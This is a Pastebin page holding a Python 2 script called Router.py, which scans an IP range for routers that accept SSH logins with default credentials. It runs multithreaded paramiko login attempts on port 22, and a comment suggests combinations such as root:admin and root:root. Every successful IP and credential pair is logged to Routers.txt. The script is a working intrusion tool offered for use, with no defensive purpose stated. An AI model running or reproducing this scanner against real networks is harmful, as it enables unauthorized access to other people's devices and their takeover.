Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- """
- Router.py - Scans for routers running ssh with default user/password
- Written by Sotd - twitter.com/#!/Sotd_
- """
- #Try root:admin , root:root and such
- import sys
- import threading
- import Queue
- try:
- import paramiko
- except ImportError:
- print 'Paramiko is required.'
- print 'http://www.lag.net/paramiko/'
- sys.exit(1)
- class Router(threading.Thread):
- """Handles connection attempts"""
- def __init__(self, queue):
- threading.Thread.__init__(self)
- self.user = sys.argv[3]
- self.password = sys.argv[4]
- self.queue = queue
- def run(self):
- """Tries to connect to given Ip on port 22"""
- ssh = paramiko.SSHClient()
- ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- while True:
- try:
- ip_add = self.queue.get(False)
- except Queue.Empty:
- break
- try:
- ssh.connect(ip_add, username = self.user, password = self.password, timeout = 10)
- ssh.close()
- print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.password)
- write = open('Routers.txt', "a+")
- write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.password))
- write.close()
- self.queue.task_done()
- except:
- print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.password)
- self.queue.task_done()
- def iprange():
- """Creates list of Ip's from Start_Ip to End_Ip"""
- queue = Queue.Queue()
- start_ip = sys.argv[1]
- end_ip = sys.argv[2]
- ip_range = []
- start = list(map(int, start_ip.split(".")))
- end = list(map(int, end_ip.split(".")))
- tmp = start
- ip_range.append(start_ip)
- while tmp != end:
- start[3] += 1
- for i in (3, 2, 1):
- if tmp[i] == 256:
- tmp[i] = 0
- tmp[i-1] += 1
- ip_range.append(".".join(map(str, tmp)))
- for add in ip_range:
- queue.put(add)
- for i in range(10):
- thread = Router(queue)
- thread.setDaemon(True)
- thread.start()
- queue.join()
- if __name__ == '__main__':
- if len(sys.argv) != 5:
- print 'Example: ./router.py 127.0.0.1 127.0.0.5 root root'
- sys.exit(1)
- else:
- iprange()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement